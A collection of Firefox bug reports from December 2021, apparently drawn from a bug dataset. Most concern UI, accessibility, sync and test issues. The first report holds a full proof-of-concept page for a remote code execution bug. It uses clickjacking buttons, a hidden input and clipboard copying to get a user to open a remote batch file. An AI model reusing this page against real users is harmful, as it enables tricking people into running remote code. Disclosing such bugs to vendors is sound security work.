av9ash/GitBugs huggingface dataset:
Bug: RCE Vulnerability
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-15 16:21:39+00:00
Resolved: 2021-12-15 17:06:53+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Steps to reproduce:

<html>
<head>
	<title>Firefox RCE</title>
<style>
#qdiv{
	border:0px solid red;
	width:400px;
	height:300px;
}
 
#qem{
	width:400px;
	height:300px;
 
	opacity:0.5;
}
 
#qbutt{
position:absolute;
top:125px;
left:235px;
width:105px;
}
 
#qclick{
position:absolute;
top:50px;
left:110px;
width:145px;
}
 
#qcopy{
position:absolute;
z-index:1000;
}
#qin{
opacity:0.0;
}
 
#qmsg{
position:absolute;
z-index:9000;
top:50px;
left:270px;
}
</style>
</head>
<body>
<button id="qcopy">Click here first to copy URL</button>
<div id="qdiv"><button id="qbutt">Click here last</button>
<button id="qclick">Click here second</button><div id="qmsg">Then click 'choose app' then paste URL and press 'open'</div>
<embed id="qem" type="application/vnd.mozilla.maybe.feed" src="data:application/vnd.mozilla.maybe.feed;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxmZWVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDA1L0F0b20iPg0KICA8dGl0bGU+cTwvdGl0bGU+DQogIDxsaW5rIGhyZWY9InEiLz4NCiAgPHVwZGF0ZWQ+cTwvdXBkYXRlZD4NCiAgPGF1dGhvcj4NCiAgICA8bmFtZT5xPC9uYW1lPg0KICA8L2F1dGhvcj4NCiAgPGlkPnE8L2lkPg0KICANCiAgPGVudHJ5Pg0KPHRpdGxlIHR5cGU9InhodG1sIj4NCiAgPGRpdiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQogICAgPGI+djxpPmFsPC9pPmlkIDxxPmh0bWw8L3E+PC9iPg0KICA8L2Rpdj4NCjwvdGl0bGU+DQogICAgPHVwZGF0ZWQ+cTwvdXBkYXRlZD4NCiAgICA8c3VtbWFyeT5xPC9zdW1tYXJ5Pg0KICA8L2VudHJ5Pg0KPC9mZWVkPg==" ></body>
 
</div>
<input id="qin" type="text" value="http://leucosite.com/a.bat"/>
 
<script>
 
 
qcopy.addEventListener("click", function(){qin.select();
  document.execCommand("Copy");});
</script>
</body>
</html>


Actual results:

Execution of the batch file from link.


Expected results:

NA, self explanatory
Bug: When loading a pdf tab spinner is spinning forever
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2021-12-15 16:25:05+00:00
Resolved: 2022-01-19 07:12:02+00:00

STR:
 - open the attached pdf in a new tab;
 - hit F5 and quickly switch to another open tab
 - the tab spinner for the pdf is spinning until the tab gets the focus.
Bug: The sponsored and non sponsored toggles are wrongly enabled when upgrading Firefox after previously opting in the online scenario and disabled the “Contextual suggestions” checkbox
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2021-12-15 16:26:26+00:00
Resolved: 2021-12-20 13:56:47+00:00

**[Notes]:**
- This issue is reproducible only on a low performance Ubuntu 20.04 x64 machine.
- This issue might be related to Bug 1740818.
- There are several scenarios affected from the [QA document](https://docs.google.com/document/d/1tcbrBZmIaL_cQhvycoVL602kQqFtQvOBRhKV9zKqghE/edit#) (I have highlighted the ones that failed with red and added the actual results into the red parentheses).

**[Affected Versions]:**
- Firefox Nightly 97.0a1 (Build ID: 20211215102502)

**[Affected Platforms]:**
- Ubuntu 20.04 x64

**[Prerequisites]:**
- Have Firefox Release 94.0.1 and Firefox Nightly 97.0a1 downloaded on your computer.
- Have the `browser.search.region` set to "US".
- Have the `nimbus.debug` pref set to `true`.

**[Steps to reproduce]:**
1. Open Firefox 94.0.1.
2. Enroll in the online scenario.
3. Restart the browser.
4. Click the “Allow suggestions” option from the modal.
5. Open the “about:preferences#privacy” page.
6. From the Address Bar - Firefox Suggest section, uncheck the “Contextual suggestions” option.
7. Close the browser.
8. Open the same profile using latest Nightly 97.0a1.
9. Open the “about:preferences#privacy” page.
10. Observe the Firefox Suggest toggles.

**[Expected results]:**
- All 3 toggles are disabled (off).

**[Actual results]:**
- The first 2 toggles are enabled (on); the 3rd toggle is disabled (off).

**[Additional Notes]:**
- [Here](https://drive.google.com/file/d/1QEXoYXradRLT917fAdjXh5Ds1Kq_QiYU/view?usp=sharing) is a screen recording of the issue.
Bug: MSN news links open a blank page with the MSN logo but no content
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2021-12-15 19:10:48+00:00
Resolved: 2021-12-17 02:49:17+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Steps to reproduce:

Have set MSN as my homepage in Firefox.  Have been using this setup for a couple of years with no issues.


Actual results:

Starting yesterday, when I click on a new link on the MSN page, a new tab opens with the MSN logo but no content.  I receive no error messages, just blank pages.


Expected results:

Expect for the link to take me to the associated content.  Have no issues with MS Edge or IE.  The attachment shows a typical link and the result of clicking on the link.

I have cleared all caches and uninstalled and reinstalled Firefox as well as restarted my computer.  While I see this on all 3 of my computers, my wifes computer does not exhibit the same behavior
Bug: https only temporary exception state does not clear after private tabs are closed
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-16 05:09:07+00:00
Resolved: 2022-09-11 05:44:59+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0

Steps to reproduce:

1. Go to the Preferences -> Privacy & Security -> HTTPS-Only Mode.
2. Select Enable HTTPS-Only Mode in all windows.
3. Open a new private tab (⌘+shift+p or CTRL+shift+p for Windows)
4. Paste a URL that is HTTP and does not support HTTPS and press enter
  * for example, as of writing: http://www.espn.com/college-sports/football/recruiting/rankings
5. On the 'Secure Site Not Available' splash screen, click 'Continue to Site'
6. Close all open private tabs
7. Open a new private tab (⌘+shift+p or CTRL+shift+p for Windows)
8. Paste the same URL as in step 4 and press enter


Actual results:

The 'Secure Site Not Available' splash screen is not displayed.


Expected results:

The 'Secure Site Not Available' splash screen should be displayed again since browsing state surrounding visited websites should not be saved.
Bug: The "Firefox Accounts" page is not displayed properly when clicking the avator icon on "about:preferences#sync" page
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-16 09:28:40+00:00
Resolved: 2021-12-16 10:42:52+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36

[Affected versions]:

95.0, the latest Nightly build 97.0a1 (2021-12-09)

[Affected Platforms]:

macOS 10.13.6
macOS 10.15.7

[Prerequisites]:

Have a valid FxA account.

[Steps to reproduce]:

1. Launch Firefox and login using a Firefox Account.
2. Navigate to about:preferences#sync.
3. Click on the avatar icon.

[Expected Results]:
The "Firefox Accounts" page is displayed correctly.

[Actual Results]:
The "Firefox Accounts" page is not displayed properly (missing most of elements).
Bug: Restored tabs with HTTPS temporarily show a broken padlock in the address bar
Status: VERIFIED
Priority: --
Resolution: FIXED
Created: 2021-12-16 12:22:32+00:00
Resolved: 2022-05-10 13:16:39+00:00

This bug was initially reported by @onrefni:mozilla.org in #necko

```
with fission disabled while loading tabs from previous session no padlock displayed > secure padlock
with fission enabled broken padlock > secure padlock
if i click on broken padlock it says upgraded from http to https by https only mode, happens on every site
if i open new tab and go to same sites it works fine
It seems like a visual bug, but i am a bit worried
```

I was able to reproduce this on Ubuntu using the following STR:
Close Firefox.
Restore Firefox.
Click on suspended tabs to load them. You will notice the broken padlock appears for less than a second.
Bug: Sync did not sync
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2021-12-16 12:27:43+00:00
Resolved: 2021-12-16 22:00:51+00:00

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0

Steps to reproduce:

1) Start using Firefox for the first time
2) Install some extensions (containers, password mgr)
3) Set a theme
4) Log into various accounts and save passwords to profile
5) Click on "sign in" from hamburger menu and create a mozilla account 
6) Shut down computer (and reinstall ubuntu)
7) From newly installed computer 18 hours later, attempt to sign into firefox; password fails, which is odd
8) Reset password
9) Sign in using new password
10) Sync


Actual results:

No extensions, themes, or passwords were synced to the new install


Expected results:

Sync should have worked. Marking bug hidden in case you want me to provide identity of the mozilla account
Bug: The tooltip text of avatar icon on "about:preferences#sync" page is not suitable
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2021-12-16 12:55:57+00:00
Resolved: 2021-12-16 21:50:38+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36

[Affected versions]:

95.0, the latest Nightly build 97.0a1 (2021-12-09)

[Affected Platforms]:

macOS 10.13.6
macOS 10.15.7

[Prerequisites]:

Have a valid FxA account.

[Steps to reproduce]:

1. Launch Firefox and login using a Firefox Account.
2. Navigate to about:preferences#sync.
3. Hover over the avatar icon.

[Expected Results]:
According to the avatar icon on "about:logins" page, the tooltip text of the avatar icon should be "Manage account".

[Actual Results]:
The tooltip text of the avatar icon is "Change profile picture".
Bug: The "Switch to Tab" result flickers while typing a keyword that also trigger a Sponsored/Non-Sponsored result from Merino
Status: ASSIGNED
Priority: P3
Created: 2021-12-16 15:55:11+00:00
Resolved: 2023-09-14 05:56:01+00:00

**[Affected Versions]:**
- Firefox Nightly 97.0a1 (Build ID: 20211214213409) 
- Firefox Beta 96.0b5 (Build ID: 20211123190150)
- Firefox Release 95.0.1 (Build ID: 20211214203716)

**[Affected Platforms]:**
- Windows 10 x64
- macOS 10.15.7
- Ubuntu 20.04 x64

**[Prerequisites]**
- Have the "browser.urlbar.merino.enabled" set to true.
- Have the "browser.urlbar.quicksuggest.remoteSettings.enabled" set to "false".
- Have the "browser.urlbar.quicksuggest.dataCollection.enabled" set to "true"
- Have the "browser.search.region" set to "US".

**[Steps to reproduce]:**
1. Open the latest Nightly/Beta build with the profile from prerequisites.
2. Open a New Tab page and type "hublot".
3. Click the Sponsored result displayed on the last position.
4. Open a New Tab page and type "hublot".
5. While typing the keyword observe the results panel.

**[Expected results]:**
- There is no flicker while typing the keyword.
    
**[Actual results]:**
- The "Switch to Tab" result flickers while typing the keyword.

**[Notes]:**
- This issue is not reproducible with the results triggered from Remote Settings.
- The issue is reproducible on Merino stage and production server.  
- If the issue is not reproducible repeat steps 2 and 3.
- Attached is a screen recording of the issue.
Bug: Site information menu disappears
Status: NEW
Priority: P3
Created: 2021-12-16 16:47:33+00:00
Resolved: 2023-02-26 21:12:44+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Steps to reproduce:

Site information menu disappears if another tab is reloading.
I noticed this and reproduced it in new fresh profile, FF version 95.0.1, with this single nonstandard setting:
accessibility.blockautorefresh	true

 - open https://expired.badssl.com/
 - make an exception to load the page even if the certificate is expired
 - in new tab open: https://www.ssllabs.com/ssltest/analyze.html?d=www.badssl.com  (as the d parameter use a value that is not chached on the server, so that it keeps reloading the page for a while)
 - on the first tab click the padlock icon to show the "Site information" menu. There click "connection not secure" to open the submenu.


Actual results:

after a few seconds the the "Site information" menu disappears.


Expected results:

menu does not disappear

Note that the menu disappears sporadically. Sometimes after a second, sometimes later. Try it a few times (make sure the other tab keeps auto-refreshing).
Leave the "Site information" menu open, for a few seconds. If it does not isappear, then click "connection not secure".

I can reproduce this in a about a minute.

Rationale: activity in other tabs should not affect the current tab

Maybe this happens with standard config too, did not investigate.
Bug: Users are not unenrolled from Nimbus experiments if they disable sending “technical and interaction data”
Status: VERIFIED
Priority: --
Resolution: FIXED
Created: 2021-12-16 17:36:30+00:00
Resolved: 2022-07-04 13:49:54+00:00

**[Affected Versions]:**
- Firefox Nightly 97.0a1 (Build ID: 20211216094142)
- Firefox Beta 96.0b5 (Build ID: 20211214203716)
- Firefox Beta 95.0.1 (Build ID: 20211215221728)

**[Affected Platforms]:**
- Windows 10
- macOS 11.6
- Linux Mint 20.1

**[Prerequisites]:**
- Be enrolled in at least one Nimbus study.

**[Steps to reproduce]:**
1. Go to “about:preferences#privacy”.
2. Disable “Allow Firefox to send technical and interaction data to Mozilla”.
3. Restart the browser.
4. Go to “about:studies” and observe if you are still enrolled.

**[Expected result]:**
- You have been unenrolled from the study.

**[Actual result]:**
- You are still enrolled in the study.

**[Notes]:**
- Attached is a recording of the issue.
Bug: [Intermittent] The Firefox Suggest modal is not displayed at startup after upgrading to Firefox 95 using a profile enrolled in the online scenario from Firefox 94.0.1
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2021-12-16 17:38:01+00:00
Resolved: 2021-12-24 12:12:45+00:00

**[Notes]:**
- This issue is intermittently reproducible only on a low performance Ubuntu 20.04 x64 machine.
- The modal is displayed after restarting the Firefox Release 95.0 browser.

**[Affected Versions]:**
- Firefox Release 95.0 (Build ID: 20211129150630)

**[Affected Platforms]:**
- Ubuntu 20.04 x64

**[Prerequisites]:**
- Have Firefox Release 94.0.1 and Firefox Release 95.0 downloaded on your computer.
- Have the "browser.search.region" set to "US".
- Have the “nimbus.debug” set to “true”.

**[Steps to reproduce]:**
1. Open Firefox Release 94.0.1.
2. Enroll in the online scenario.
3. Close Firefox Release 94.0.1.
4. Open Firefox Release 95.0.
5. Observe what happens at the start-up.

**[Expected results]:**
- The Firefox Suggest modal is displayed.

**[Actual results]:**
- The Firefox Suggest modal is not displayed.

**[Additional Notes]:**
- [Here](https://drive.google.com/file/d/1gkpVmwPG_EXmQsGcmBOvzxgfxwtLqMV_/view?usp=sharing) is a screen recording of the issue.
Bug: Close tab button not working
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2021-12-16 17:42:06+00:00
Resolved: 2022-01-03 19:21:15+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Steps to reproduce:

When trying to close tab it does not close. I have some opened tabs and it happens around 2 or 3 weeks in row. When i have 1-3 opened tabs all ok. I attach video what goes wrong.


Actual results:

Close tab button not working


Expected results:

Tab must be closed
Bug: [HCM] Focus indicator is not visible
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2021-12-16 19:39:46+00:00
Resolved: 2023-06-02 15:22:32+00:00

STR:

0. Enable Windows HCM
1. Open (improved) downloads panel
2. Using tab or arrow keys, move through the list of downloads

Expected:
Each item gets focus, including the "show all downloads" option at the end of the panel

Actual:
Only the "show all downloads" option gets focus
Bug: [HCM] Downloads progress bar color is not HCM adaptive
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-16 19:50:02+00:00
Resolved: 2023-06-02 15:22:33+00:00

STR:

0. Enable Windows HCM
1. Start a download

Expected:
The downloads progress bar (and associated toolbar icon) have fill using a color from the HCM color palette

Actual:
Regardless of HCM theme, the fill is red-orange.

Looking to windows for an example, the progress bar in file explorer showing the space-remaining on the C:/ drive is outlined with the control foreground color from the HCM palette (ButtonText to us, I think) and filled with the selected item background color (SelectedItem to us). Lacking other examples, it makes sense to do what microsoft does here.
Bug: [HCM] "View in folder" (and/or stop/resume) icon buttons in the downloads panel have incorrect styling
Status: RESOLVED
Priority: P3
Resolution: FIXED
Created: 2021-12-16 20:42:07+00:00
Resolved: 2023-06-02 15:22:52+00:00

STR:

0. Enable windows HCM
1. Open the downloads panel
2. View the 'view in folder' icon

Expected:
The icon button is bound by a 1px (foreground color) border indicating it is a control, and not just an icon. 
The icon button is styled using Button/ButtonText colors from the HCM palette
On hover, the icon button gets styled with SelectedItem/SelectedItemText colors from the HCM palette.


Actual:
The icon button has no border, no button styling, hover state uses diffused foreground color for the background.
Bug: The "More From Mozilla" pane isn't keyboard accessible from the about:preferences sidebar
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2021-12-16 22:39:55+00:00
Resolved: 2021-12-17 21:48:40+00:00

Hitting "tab" when the "More from Mozilla" pane is open skips over the links and buttons in the pane, which is different behaviour from the other panes/tabs in about:preferences.
(n.b. having a screen reader open changes the tab behaviour and allows all the content to be navigated with tab/arrow keys.)
Bug: Firefox has a driveby download vulnerability
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-17 05:21:56+00:00
Resolved: 2021-12-17 16:55:27+00:00

Steps to reproduce:

I cannot reproduce it. 



Actual results:

But yesterdays as i was surfing with Firefox 95.0, when I finished I close Firefox and it informs me that a download was in progress, do I want to quit. 


Expected results:

It should have not download anything when I didn't initiate it.
Bug: New Private Window shortcut issue
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2021-12-17 09:24:56+00:00
Resolved: 2022-10-06 15:44:13+00:00

Steps to reproduce:

I changed the "New Private Window" shortcut from cmd+shift+P to cmd+shift+N from system preferences>keyboard settings.

Also verified that the new shortcut is showing in firefox menu bar.


Actual results:

Firefox doesn't respond to cmd+shift+N shortcut ,i.e., private window doesn't open.

Private window still opens on cmd+shift+P shortcut.

Clicking "new private window" from menu bar opens private window.


Expected results:

Private window should open on cmd+shift+N shortcut.
Bug: XFA PDF rendering incorrectly
Status: NEW
Priority: --
Created: 2021-12-17 14:19:21+00:00
Resolved: 2022-09-20 08:53:59+00:00

The PDF at https://bugzilla.mozilla.org/attachment.cgi?id=9249303 is rendered incorrectly on my machine: https://bugzilla.mozilla.org/attachment.cgi?id=9253678.
Bug: CustomizableUI.registerArea checks for presence of `overflowable` rather than value
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2021-12-17 19:59:39+00:00
Resolved: 2022-01-06 20:05:48+00:00

Here's the registration of the nav-bar: https://searchfox.org/mozilla-central/rev/fecb1af272051b0fc2346647b1a3193609744384/browser/components/customizableui/CustomizableUI.jsm#249-258

If one wanted to make the overflowing of the toolbar pref-able, you'd think it'd be sufficient to pass `false` for `overflowable`. It turns out however, that the mere presence of the `overflowable` property is enough to make the toolbar overflowable:

https://searchfox.org/mozilla-central/rev/fecb1af272051b0fc2346647b1a3193609744384/browser/components/customizableui/CustomizableUI.jsm#968-970

which kinda contradicts the documentation: https://searchfox.org/mozilla-central/rev/fecb1af272051b0fc2346647b1a3193609744384/browser/components/customizableui/CustomizableUI.jsm#3763-3765 since this seems to imply that passing `false` should _not_ cause the area to be overflowable.
Bug: Intermittent [TV] browser/components/preferences/tests/browser_spotlight.js | This test exceeded the timeout threshold. It should be rewritten or split up. If that's not possible, use requestLongerTimeout(N), but only as a last resort. -
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2021-12-17 20:15:04+00:00
Resolved: 2022-04-12 17:08:00+00:00

**Filed by:** smolnar [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=361674110&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/I2PpBSNVQwiQT2JXbpRgyQ/runs/0/artifacts/public/logs/live_backing.log
**Reftest URL:** https://hg.mozilla.org/mozilla-central/raw-file/tip/layout/tools/reftest/reftest-analyzer.xhtml#logurl=https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/I2PpBSNVQwiQT2JXbpRgyQ/runs/0/artifacts/public/logs/live_backing.log&only_show_unexpected=1

---
```
INFO - TEST-PASS | browser/components/preferences/tests/browser_spotlight.js | The spotlighted section is cleared - 
[task 2021-12-17T19:04:22.884Z] 19:04:22     INFO - Leaving test bound test_openPreferences_spotlight
[task 2021-12-17T19:04:22.885Z] 19:04:22     INFO - Buffered messages finished
[task 2021-12-17T19:04:22.885Z] 19:04:22     INFO - TEST-UNEXPECTED-FAIL | browser/components/preferences/tests/browser_spotlight.js | This test exceeded the timeout threshold. It should be rewritten or split up. If that's not possible, use requestLongerTimeout(N), but only as a last resort. - 
[task 2021-12-17T19:04:22.886Z] 19:04:22     INFO - GECKO(1745) | MEMORY STAT vsizeMaxContiguous not supported in this build configuration.
[task 2021-12-17T19:04:22.886Z] 19:04:22     INFO - GECKO(1745) | MEMORY STAT | vsize 16079MB | residentFast 328MB | heapAllocated 147MB
[task 2021-12-17T19:04:22.886Z] 19:04:22     INFO - TEST-OK | browser/components/preferences/tests/browser_spotlight.js | took 46468ms
```
Bug: Unable to upload nightlies to Microsoft Store due to name mismatches
Status: NEW
Priority: P1
Created: 2021-12-17 20:56:55+00:00
Resolved: 2024-07-03 18:53:40+00:00

When I try to upload nightly builds to the "Firefox Nightly" app on the Store, Partner Centre complains:
```
Invalid package identity name: Mozilla.FirefoxNightly (expected: Mozilla.64253760D188F)
```
```
Invalid package family name: Mozilla.FirefoxNightly_n80bbvh6b1yt2 (expected: Mozilla.64253760D188F_n80bbvh6b1yt2)
```
Nick asked me to file this, for follow-up maybe in the new year.
Bug: PDF viewer UI wrong theme with privacy.resistFingerprinting
Status: NEW
Priority: --
Created: 2021-12-17 21:00:44+00:00
Resolved: 2024-09-11 20:49:05+00:00

Steps to reproduce:

preparation:
- fresh Windows-Sandbox on Windows 10
- open Edge, download and install the latest Firefox (currently version 95)
- enable dark theme in "about:addons"
- open a PDF file: it uses the dark theme (like expected)

bug:
- change "privacy.resistFingerprinting" to "true" in "about:config"
- switch back to the PDF file: the UI uses the white theme (which seems wrong; see attached screenshot)


Actual results:

The PDF viewer UI is using a white theme, despite everything else is set to dark mode.
When changing "privacy.resistFingerprinting" to "false", the PDF viewer UI is using the dark theme - like expected.

Bug discovered at https://www.reddit.com/r/FirefoxCSS/comments/rbvlcz/comment/hoyonet


Expected results:

I expect the PDF viewer UI to be in dark mode even with "privacy.resistFingerprinting" set to "true".